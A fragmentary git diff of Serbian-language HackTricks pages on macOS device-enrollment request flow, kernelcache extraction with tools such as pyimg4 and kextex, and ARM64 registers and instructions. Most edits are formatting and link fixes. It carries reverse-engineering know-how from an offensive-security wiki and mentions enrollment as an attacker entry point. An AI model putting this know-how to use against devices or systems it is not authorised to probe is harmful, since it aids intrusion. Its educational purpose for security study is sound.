1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
6. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||||
4. Uspostavljanje sesije (**`NACKeyEstablishment`**)
|
7. Uspostavljanje sesije (**`NACKeyEstablishment`**)
|
||||||
5. Slanje zahteva
|
8. Slanje zahteva
|
||||||
1. POST na [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) šaljući podatke `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
9. POST na [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) šaljući podatke `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||||
2. JSON payload je enkriptovan pomoću Absinthe-a (**`NACSign`**)
|
10. JSON payload je enkriptovan pomoću Absinthe-a (**`NACSign`**)
|
||||||
3. Svi zahtevi se šalju preko HTTPs, koriste se ugrađeni korenski sertifikati
|
11. Svi zahtevi se šalju preko HTTPs, koriste se ugrađeni korenski sertifikati
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (566).png>)
|
![](<../../../.gitbook/assets/image (566).png>)
|
||||||
|
|
||||||
|
@ -139,7 +145,7 @@ Odgovor je JSON rečnik sa nekim važnim podacima kao što su:
|
||||||
* Potpisano pomoću **sertifikata identiteta uređaja (iz APNS-a)**
|
* Potpisano pomoću **sertifikata identiteta uređaja (iz APNS-a)**
|
||||||
* **Lanac sertifikata** uključuje istekli **Apple iPhone Device CA**
|
* **Lanac sertifikata** uključuje istekli **Apple iPhone Device CA**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>)
|
![](https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20\(567\)%20\(1\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(7\).png)
|
||||||
|
|
||||||
### Korak 6: Instalacija profila
|
### Korak 6: Instalacija profila
|
||||||
|
|
||||||
|
@ -196,7 +202,6 @@ Stoga, ovo može biti opasan ulaz za napadače ako proces upisa nije pravilno za
|
||||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -206,3 +211,5 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju eks
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju eks
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Kernel & Sistemska proširenja
|
# macOS Kernel & System Extensions
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -53,8 +53,8 @@ I/O Kit je open-source, objektno orijentisani **framework za drajvere uređaja**
|
||||||
|
|
||||||
### IPC - Međuprocesna komunikacija
|
### IPC - Međuprocesna komunikacija
|
||||||
|
|
||||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Kernelcache
|
### Kernelcache
|
||||||
|
@ -83,6 +83,7 @@ Obično je sastavljen od sledećih komponenti:
|
||||||
* OPCIONALNO: Obično se ovo ne nalazi
|
* OPCIONALNO: Obično se ovo ne nalazi
|
||||||
|
|
||||||
Dekompresujte Kernelcache:
|
Dekompresujte Kernelcache:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
|
@ -90,6 +91,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
||||||
# img4tool (https://github.com/tihmstar/img4tool
|
# img4tool (https://github.com/tihmstar/img4tool
|
||||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Simboli kernel keša
|
#### Simboli kernel keša
|
||||||
|
|
||||||
Ponekad Apple objavljuje **kernel keš** sa **simbolima**. Možete preuzeti neke firmvere sa simbolima prateći linkove na [https://theapplewiki.com](https://theapplewiki.com/).
|
Ponekad Apple objavljuje **kernel keš** sa **simbolima**. Možete preuzeti neke firmvere sa simbolima prateći linkove na [https://theapplewiki.com](https://theapplewiki.com/).
|
||||||
|
@ -110,12 +112,15 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete proveriti izvučeni kernelcache za simbole sa: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
Možete proveriti izvučeni kernelcache za simbole sa: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||||
|
|
||||||
Sada možemo **izvući sve ekstenzije** ili **onu koja vas zanima:**
|
Sada možemo **izvući sve ekstenzije** ili **onu koja vas zanima:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# List all extensions
|
# List all extensions
|
||||||
kextex -l kernelcache.release.iphone14.e
|
kextex -l kernelcache.release.iphone14.e
|
||||||
|
@ -128,6 +133,7 @@ kextex_all kernelcache.release.iphone14.e
|
||||||
# Check the extension for symbols
|
# Check the extension for symbols
|
||||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||||
```
|
```
|
||||||
|
|
||||||
## macOS Kernel ekstenzije
|
## macOS Kernel ekstenzije
|
||||||
|
|
||||||
macOS je **izuzetno restriktivan kada je u pitanju učitavanje Kernel ekstenzija** (.kext) zbog visokih privilegija pod kojima će se kod izvršavati. Zapravo, podrazumevano je praktično nemoguće (osim ako se ne pronađe način zaobilaženja).
|
macOS je **izuzetno restriktivan kada je u pitanju učitavanje Kernel ekstenzija** (.kext) zbog visokih privilegija pod kojima će se kod izvršavati. Zapravo, podrazumevano je praktično nemoguće (osim ako se ne pronađe način zaobilaženja).
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Uvod u ARM64v8
|
# Introduction to ARM64v8
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -19,15 +19,22 @@ Drugi načini podrške HackTricks-u:
|
||||||
U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi:
|
U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi:
|
||||||
|
|
||||||
1. **EL0 - Korisnički režim**:
|
1. **EL0 - Korisnički režim**:
|
||||||
|
|
||||||
* Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda.
|
* Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda.
|
||||||
* Aplikacije koje se izvršavaju na EL0 su izolovane jedna od druge i od sistemskog softvera, što poboljšava sigurnost i stabilnost.
|
* Aplikacije koje se izvršavaju na EL0 su izolovane jedna od druge i od sistemskog softvera, što poboljšava sigurnost i stabilnost.
|
||||||
|
|
||||||
2. **EL1 - Režim jezgra operativnog sistema**:
|
2. **EL1 - Režim jezgra operativnog sistema**:
|
||||||
|
|
||||||
* Većina jezgara operativnih sistema radi na ovom nivou.
|
* Većina jezgara operativnih sistema radi na ovom nivou.
|
||||||
* EL1 ima više privilegija od EL0 i može pristupiti sistemskim resursima, ali uz određena ograničenja radi očuvanja integriteta sistema.
|
* EL1 ima više privilegija od EL0 i može pristupiti sistemskim resursima, ali uz određena ograničenja radi očuvanja integriteta sistema.
|
||||||
|
|
||||||
3. **EL2 - Režim hipervizora**:
|
3. **EL2 - Režim hipervizora**:
|
||||||
|
|
||||||
* Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati sa više operativnih sistema (svaki u svom EL1) koji se izvršavaju na istom fizičkom hardveru.
|
* Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati sa više operativnih sistema (svaki u svom EL1) koji se izvršavaju na istom fizičkom hardveru.
|
||||||
* EL2 pruža funkcionalnosti za izolaciju i kontrolu virtualizovanih okruženja.
|
* EL2 pruža funkcionalnosti za izolaciju i kontrolu virtualizovanih okruženja.
|
||||||
|
|
||||||
4. **EL3 - Režim sigurnosnog monitora**:
|
4. **EL3 - Režim sigurnosnog monitora**:
|
||||||
|
|
||||||
* Ovo je najprivilegovaniji nivo i često se koristi za sigurno pokretanje sistema i poverljiva okruženja izvršenja.
|
* Ovo je najprivilegovaniji nivo i često se koristi za sigurno pokretanje sistema i poverljiva okruženja izvršenja.
|
||||||
* EL3 može upravljati i kontrolisati pristupe između sigurnih i nesigurnih stanja (kao što su sigurno pokretanje, poverljivi OS, itd.).
|
* EL3 može upravljati i kontrolisati pristupe između sigurnih i nesigurnih stanja (kao što su sigurno pokretanje, poverljivi OS, itd.).
|
||||||
|
|
||||||
|
@ -38,20 +45,30 @@ Korišćenje ovih nivoa omogućava strukturisan i siguran način upravljanja raz
|
||||||
ARM64 ima **31 registar opšte namene**, označenih kao `x0` do `x30`. Svaki može čuvati vrednost od **64 bita** (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u režimu od 32 bita koristeći imena w0 do w30.
|
ARM64 ima **31 registar opšte namene**, označenih kao `x0` do `x30`. Svaki može čuvati vrednost od **64 bita** (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u režimu od 32 bita koristeći imena w0 do w30.
|
||||||
|
|
||||||
1. **`x0`** do **`x7`** - Ovi se obično koriste kao registri za prolazak parametara podrutinama.
|
1. **`x0`** do **`x7`** - Ovi se obično koriste kao registri za prolazak parametara podrutinama.
|
||||||
|
|
||||||
* **`x0`** takođe nosi povratne podatke funkcije.
|
* **`x0`** takođe nosi povratne podatke funkcije.
|
||||||
|
|
||||||
2. **`x8`** - U Linux jezgru, `x8` se koristi kao broj sistema poziva za `svc` instrukciju. **Na macOS-u se koristi x16!**
|
2. **`x8`** - U Linux jezgru, `x8` se koristi kao broj sistema poziva za `svc` instrukciju. **Na macOS-u se koristi x16!**
|
||||||
3. **`x9`** do **`x15`** - Dodatni privremeni registri, često korišćeni za lokalne promenljive.
|
3. **`x9`** do **`x15`** - Dodatni privremeni registri, često korišćeni za lokalne promenljive.
|
||||||
4. **`x16`** i **`x17`** - **Registri za unutarproceduralne pozive**. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove.
|
4. **`x16`** i **`x17`** - **Registri za unutarproceduralne pozive**. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove.
|
||||||
|
|
||||||
* **`x16`** se koristi kao **broj sistema poziva** za **`svc`** instrukciju na **macOS-u**.
|
* **`x16`** se koristi kao **broj sistema poziva** za **`svc`** instrukciju na **macOS-u**.
|
||||||
|
|
||||||
5. **`x18`** - **Registar platforme**. Može se koristiti kao registar opšte namene, ali na nekim platformama, ovaj registar je rezervisan za platformski specifične svrhe: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno **izvršavajuću strukturu zadatka u jezgru Linux-a**.
|
5. **`x18`** - **Registar platforme**. Može se koristiti kao registar opšte namene, ali na nekim platformama, ovaj registar je rezervisan za platformski specifične svrhe: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno **izvršavajuću strukturu zadatka u jezgru Linux-a**.
|
||||||
6. **`x19`** do **`x28`** - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, tako da se čuvaju na steku i vraćaju pre povratka pozivaocu.
|
6. **`x19`** do **`x28`** - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, tako da se čuvaju na steku i vraćaju pre povratka pozivaocu.
|
||||||
7. **`x29`** - **Pokazivač okvira** za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, **`x29`** registar se **čuva na steku** i nova adresa okvira (**adresa `sp`**) se **čuva u ovom registru**.
|
7. **`x29`** - **Pokazivač okvira** za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, **`x29`** registar se **čuva na steku** i nova adresa okvira (**adresa `sp`**) se **čuva u ovom registru**.
|
||||||
|
|
||||||
* Ovaj registar takođe može se koristiti kao **registar opšte namene**, iako se obično koristi kao referenca na **lokalne promenljive**.
|
* Ovaj registar takođe može se koristiti kao **registar opšte namene**, iako se obično koristi kao referenca na **lokalne promenljive**.
|
||||||
|
|
||||||
8. **`x30`** ili **`lr`**- **Registar linka**. Čuva **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija čuvajući vrednost **`pc`** u ovom registru.
|
8. **`x30`** ili **`lr`**- **Registar linka**. Čuva **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija čuvajući vrednost **`pc`** u ovom registru.
|
||||||
|
|
||||||
* Može se koristiti kao i svaki drugi registar.
|
* Može se koristiti kao i svaki drugi registar.
|
||||||
* Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati `lr`, čuvaće je na steku na početku, ovo je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Čuvanje `fp` i `lr`, generisanje prostora i dobijanje novog `fp`) i vraćaće je na kraju, ovo je prolog (`ldp x29, x30, [sp], #48; ret` -> Vraćanje `fp` i `lr` i povratak).
|
* Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati `lr`, čuvaće je na steku na početku, ovo je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Čuvanje `fp` i `lr`, generisanje prostora i dobijanje novog `fp`) i vraćaće je na kraju, ovo je prolog (`ldp x29, x30, [sp], #48; ret` -> Vraćanje `fp` i `lr` i povratak).
|
||||||
|
|
||||||
9. **`sp`** - **Pokazivač steka**, koristi se za praćenje vrha steka.
|
9. **`sp`** - **Pokazivač steka**, koristi se za praćenje vrha steka.
|
||||||
|
|
||||||
* Vrednost **`sp`** uvek treba da bude održavana na bar **quadword** **poravnanju** ili može doći do greške poravnanja.
|
* Vrednost **`sp`** uvek treba da bude održavana na bar **quadword** **poravnanju** ili može doći do greške poravnanja.
|
||||||
|
|
||||||
10. **`pc`** - **Brojač programa**, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povratka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese **`pc`** u **`lr`** (Registar linka).
|
10. **`pc`** - **Brojač programa**, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povratka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese **`pc`** u **`lr`** (Registar linka).
|
||||||
11. **`xzr`** - **Registar nula**. Takođe nazvan **`wzr`** u svom obliku registra od **32** bita. Može se koristiti za lako dobijanje vrednosti nula (uobičajena operacija) ili za obavljanje poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** čuvajući rezultujuće podatke nigde (u **`xzr`**).
|
11. **`xzr`** - **Registar nula**. Takođe nazvan **`wzr`** u svom obliku registra od **32** bita. Može se koristiti za lako dobijanje vrednosti nula (uobičajena operacija) ili za obavljanje poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** čuvajući rezultujuće podatke nigde (u **`xzr`**).
|
||||||
|
|
||||||
|
@ -60,6 +77,7 @@ Registri **`Wn`** su **32-bitna** verzija registra **`Xn`**.
|
||||||
### SIMD i Registri za plutanje sa pokretnim zarezom
|
### SIMD i Registri za plutanje sa pokretnim zarezom
|
||||||
|
|
||||||
Pored toga, postoje još **32 registra dužine 128 bita** koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri iako mogu raditi i u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, tada se nazivaju **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
Pored toga, postoje još **32 registra dužine 128 bita** koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri iako mogu raditi i u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, tada se nazivaju **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||||
|
|
||||||
### Sistemski registri
|
### Sistemski registri
|
||||||
|
|
||||||
**Postoje stotine sistemskih registara**, takođe nazvanih registri sa posebnom svrhom (SPR), koriste se za **praćenje** i **kontrolu** **ponašanja procesora**.\
|
**Postoje stotine sistemskih registara**, takođe nazvanih registri sa posebnom svrhom (SPR), koriste se za **praćenje** i **kontrolu** **ponašanja procesora**.\
|
||||||
|
@ -120,7 +138,7 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* Primer: `ldr x0, [x1]` — Ovo učitava vrednost sa memorijske lokacije na koju pokazuje `x1` u `x0`.
|
* Primer: `ldr x0, [x1]` — Ovo učitava vrednost sa memorijske lokacije na koju pokazuje `x1` u `x0`.
|
||||||
* **Mod sa pomerajem**: Pomeraj koji utiče na pokazivač je naznačen, na primer:
|
* **Mod sa pomerajem**: Pomeraj koji utiče na pokazivač je naznačen, na primer:
|
||||||
* `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost iz x1 + 8
|
* `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost iz x1 + 8
|
||||||
*  `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) \* 4
|
* `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) \* 4
|
||||||
* **Mod pre-indeksa**: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početku.
|
* **Mod pre-indeksa**: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početku.
|
||||||
* `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8`
|
* `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8`
|
||||||
* `str lr, [sp, #-4]!`, Sačuvaj registar linka u sp i ažuriraj registar sp
|
* `str lr, [sp, #-4]!`, Sačuvaj registar linka u sp i ažuriraj registar sp
|
||||||
|
@ -136,11 +154,11 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* Primer: `stp x0, x1, [sp]` — Ovo smešta `x0` i `x1` na memorijske lokacije na `sp` i `sp + 8`, redom.
|
* Primer: `stp x0, x1, [sp]` — Ovo smešta `x0` i `x1` na memorijske lokacije na `sp` i `sp + 8`, redom.
|
||||||
* `stp x0, x1, [sp, #16]!` — Ovo smešta `x0` i `x1` na memorijske lokacije na `sp+16` i `sp + 24`, redom, i ažurira `sp` sa `sp+16`.
|
* `stp x0, x1, [sp, #16]!` — Ovo smešta `x0` i `x1` na memorijske lokacije na `sp+16` i `sp + 24`, redom, i ažurira `sp` sa `sp+16`.
|
||||||
* **`add`**: **Saberi** vrednosti dva registra i smešta rezultat u registar.
|
* **`add`**: **Saberi** vrednosti dva registra i smešta rezultat u registar.
|
||||||
* Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[pomeraj #N | RRX\]
|
* Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[pomeraj #N | RRX]
|
||||||
* Xn1 -> Destinacija
|
* Xn1 -> Destinacija
|
||||||
* Xn2 -> Operand 1
|
* Xn2 -> Operand 1
|
||||||
* Xn3 | #imm -> Operand 2 (registar ili neposredno)
|
* Xn3 | #imm -> Operand 2 (registar ili neposredno)
|
||||||
* \[pomeraj #N | RRX\] -> Izvrši pomeraj ili pozovi RRX
|
* \[pomeraj #N | RRX] -> Izvrši pomeraj ili pozovi RRX
|
||||||
* Primer: `add x0, x1, x2` — Ovo sabira vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
|
* Primer: `add x0, x1, x2` — Ovo sabira vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
|
||||||
* `add x5, x5, #1, lsl #12` — Ovo je jednako 4096 (jedan pomeraj 12 puta) -> 1 0000 0000 0000 0000
|
* `add x5, x5, #1, lsl #12` — Ovo je jednako 4096 (jedan pomeraj 12 puta) -> 1 0000 0000 0000 0000
|
||||||
* **`adds`** Ovo izvršava `add` i ažurira zastave
|
* **`adds`** Ovo izvršava `add` i ažurira zastave
|
||||||
|
@ -188,12 +206,12 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* Primer: `tst X1, #7` Proveri da li su bilo koji od poslednja 3 bita X1 jedan
|
* Primer: `tst X1, #7` Proveri da li su bilo koji od poslednja 3 bita X1 jedan
|
||||||
* **`teq`**: XOR operacija odbacivanjem rezultata
|
* **`teq`**: XOR operacija odbacivanjem rezultata
|
||||||
* **`b`**: Bezuslovni skok
|
* **`b`**: Bezuslovni skok
|
||||||
* Primer: `b mojaFunkcija` 
|
* Primer: `b mojaFunkcija`
|
||||||
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
|
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
|
||||||
* **`bl`**: **Skok** sa linkom, koristi se za **poziv** potprograma. Čuva **povratnu adresu u `x30`**.
|
* **`bl`**: **Skok** sa linkom, koristi se za **poziv** potprograma. Čuva **povratnu adresu u `x30`**.
|
||||||
* Primer: `bl mojaFunkcija` — Ovo poziva funkciju `mojaFunkcija` i čuva povratnu adresu u `x30`.
|
* Primer: `bl mojaFunkcija` — Ovo poziva funkciju `mojaFunkcija` i čuva povratnu adresu u `x30`.
|
||||||
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
|
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
|
||||||
* **`blr`**: **Skok** sa Linkom u Registar, koristi se za **poziv** potprograma gde je cilj **specifikovan** u **registru**. Čuva povratnu adresu u `x30`. (Ovo je 
|
* **`blr`**: **Skok** sa Linkom u Registar, koristi se za **poziv** potprograma gde je cilj **specifikovan** u **registru**. Čuva povratnu adresu u `x30`. (Ovo je
|
||||||
* Primer: `blr x1` — Ovo poziva funkciju čija je adresa sadržana u `x1` i čuva povratnu adresu u `x30`.
|
* Primer: `blr x1` — Ovo poziva funkciju čija je adresa sadržana u `x1` i čuva povratnu adresu u `x30`.
|
||||||
* **`ret`**: **Povratak** iz **potprograma**, obično koristeći adresu u **`x30`**.
|
* **`ret`**: **Povratak** iz **potprograma**, obično koristeći adresu u **`x30`**.
|
||||||
* Primer: `ret` — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u `x30`.
|
* Primer: `ret` — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u `x30`.
|
||||||
|
@ -227,7 +245,7 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* **`stur`**: **Čuva vrednost registra na lokaciji u memoriji**, koristeći pomeraj od drugog registra.
|
* **`stur`**: **Čuva vrednost registra na lokaciji u memoriji**, koristeći pomeraj od drugog registra.
|
||||||
* Primer: `stur x0, [x1, #4]` — Ovo smešta vrednost iz `x0` na adresu u memoriji koja je 4 bajta veća od adrese u `x1`.
|
* Primer: `stur x0, [x1, #4]` — Ovo smešta vrednost iz `x0` na adresu u memoriji koja je 4 bajta veća od adrese u `x1`.
|
||||||
* **`svc`** : Pravi **sistemski poziv**. Ovo označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, prelazi iz korisničkog režima u režim jezgra i skače na određenu lokaciju u memoriji gde se nalazi kod za **obradu sistemskog poziva jezgra**.
|
* **`svc`** : Pravi **sistemski poziv**. Ovo označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, prelazi iz korisničkog režima u režim jezgra i skače na određenu lokaciju u memoriji gde se nalazi kod za **obradu sistemskog poziva jezgra**.
|
||||||
* Primer:
|
* Primer:
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
mov x8, 93 ; Učitava broj sistema za izlazak (93) u registar x8.
|
mov x8, 93 ; Učitava broj sistema za izlazak (93) u registar x8.
|
||||||
|
@ -271,6 +289,7 @@ Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa nižim nivoom izuzet
|
||||||
Ovo se postavlja tokom **interworking grana instrukcija,** ali može biti postavljeno direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
|
Ovo se postavlja tokom **interworking grana instrukcija,** ali može biti postavljeno direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
|
||||||
|
|
||||||
Još jedan primer:
|
Još jedan primer:
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
_start:
|
_start:
|
||||||
.code 32 ; Begin using A32
|
.code 32 ; Begin using A32
|
||||||
|
@ -281,15 +300,16 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
||||||
mov r0, #0
|
mov r0, #0
|
||||||
mov r0, #8
|
mov r0, #8
|
||||||
```
|
```
|
||||||
|
|
||||||
### Registri
|
### Registri
|
||||||
|
|
||||||
Postoje 16 registara od 32 bita (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih obično su rezervisani:
|
Postoje 16 registara od 32 bita (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih obično su rezervisani:
|
||||||
|
|
||||||
- **`r15`**: Brojač programa (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutno + 8, u T32, trenutno + 4.
|
* **`r15`**: Brojač programa (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutno + 8, u T32, trenutno + 4.
|
||||||
- **`r11`**: Pokazivač okvira
|
* **`r11`**: Pokazivač okvira
|
||||||
